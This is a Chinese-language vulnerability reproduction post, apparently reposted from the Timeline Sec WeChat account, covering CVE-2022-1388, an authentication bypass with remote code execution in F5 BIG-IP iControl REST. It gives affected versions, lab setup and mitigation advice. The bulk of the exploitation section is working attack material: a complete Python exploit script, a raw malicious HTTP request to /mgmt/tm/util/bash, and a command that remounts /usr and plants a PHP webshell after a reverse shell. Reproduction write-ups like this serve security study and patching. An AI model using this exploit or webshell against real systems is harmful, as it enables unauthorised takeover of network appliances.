CVE-2022-1388:F5 BIG-IP身份验证绕过RCE

admin 2022年7月28日09:37:29评论110 views字数 3057阅读10分11秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:shiyi@Timeline Sec

本文字数:1422

阅读时长:3~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介
F5 BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。

0x02 漏洞概述
漏洞编号:CVE-2022-1388
该漏洞是由于iControl REST的身份验证功能存在缺陷,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行身份证绕过攻击,最终接管设备控制平台。

0x03 影响版本
16.1.0 <= F5 BIG-IP <= 16.1.2
15.1.0 <= F5 BIG-IP <= 15.1.5
14.1.0 <= F5 BIG-IP <= 14.1.4
13.1.0 <= F5 BIG-IP <= 13.1.4
12.1.0 <= F5 BIG-IP <= 12.1.6
11.6.1 <= F5 BIG-IP <= 11.6.5

0x04 环境搭建
环境搭建可以参考之前师傅写的 
https‍://mp.weixin.qq.com/s/-WScu2pgUjvjEqWKt5f19A

1、登陆F5官网申请测试license 90天
https://www.f5.com/trials

2、按流程注册登陆后获得license,会发送至注册邮箱
3、下载漏洞版本镜像
https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2

4、下载后使用Vmware安装即可

CVE-2022-1388:F5 BIG-IP身份验证绕过RCE

0x05 漏洞复现
利用exp可参考
https://github.com/bytecaps/CVE-2022-1388-EXP
为了让exp更通用,可以修改一下请求头
import requestsimport jsonimport sslimport urllib3urllib3.disable_warnings()ssl._create_default_https_context = ssl._create_unverified_contextrequests.packages.urllib3.disable_warnings() def attack(target_url): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", 'Content-Type': 'application/json', 'Connection': 'Keep-Alive, X-F5-Auth-Token, X-Forwarded-Host', 'X-F5-Auth-Token': 'a', 'Authorization': 'Basic YWRtaW46' } cmd = 'whoami' attack_url = target_url + '/mgmt/tm/util/bash' data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(cmd)} try: response = requests.post(url=attack_url, json=data, headers=headers, verify=False, timeout=5) if response.status_code == 200 and 'commandResult' in response.text: default = json.loads(response.text) display = default['commandResult'] print("[+] 目标 {} 存在漏洞".format(target_url)) print('[+] 响应为:{0}'.format(display)) else: print("[-] 目标 {} 不存在漏洞".format(target_url)) except Exception as e: print('url 访问异常 {0}'.format(target_url)) if __name__ == '__main__': target_url = "https://10.0.24.55/" print(target_url) attack(target_url)

直接使用脚本测试即可
python cve_2022_1388.py

CVE-2022-1388:F5 BIG-IP身份验证绕过RCE

请求数据包
POST /mgmt/tm/util/bash HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36Authorization: Basic YWRtaW46Connection: keep-alive, X-F5-Auth-TokenContent-Type: application/jsonX-F5-Auth-Token: aAccept-Encoding: gzip
{ "command": "run", "utilCmdArgs": "-c id"}


写webshell

没发现java的webshell怎么写,不过可以写php的shell,但是缺点就是php的shell权限是低权限的

先通过命令执行反弹shell,然后通过以下命令写webshell
mount -o remount -rw /usr ;echo 'It works!<?php $a=$_GET["cmd"];system($a);?>' > /usr/local/www/xui/common/scripts/jquery.php;mount -o remount -r /usr

CVE-2022-1388:F5 BIG-IP身份验证绕过RCE

0x06 修复方式


1、官方修复建议
当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。
链接:https://downloads.f5.com
2、临时修复建议
该临时修复建议存在一定风险,建议用户可根据业务系统特性审慎选择采用临时修复方案:
(1)通过自身 IP 地址阻止 iControl REST 访问
(2)通过管理界面阻止 iControl REST 访问
(3)修改 BIG-IP httpd 配置

利用工具:
https://github.com/bytecaps/CVE-2022-1388-EXP
https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-1388.yaml

参考链接:
https://www.buaq.net/go-111634.html
https://paper.seebug.org/1893/#0x02-poc
https://mp.weixin.qq.com/s/RhI1YoIsPPwCYVSQ8KwIoQ

历史漏洞:
CVE-2021-22986:BIG-IP/BIG-IQ未授权RCE
CVE-2020-5902:F5 BIG-IP 远程代码执行漏洞复现

CVE-2022-1388:F5 BIG-IP身份验证绕过RCE

CVE-2022-1388:F5 BIG-IP身份验证绕过RCE
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





原文始发于微信公众号(Timeline Sec):CVE-2022-1388:F5 BIG-IP身份验证绕过RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月28日09:37:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-1388:F5 BIG-IP身份验证绕过RCEhttp://cn-sec.com/archives/1206069.html

发表评论

匿名网友 填写信息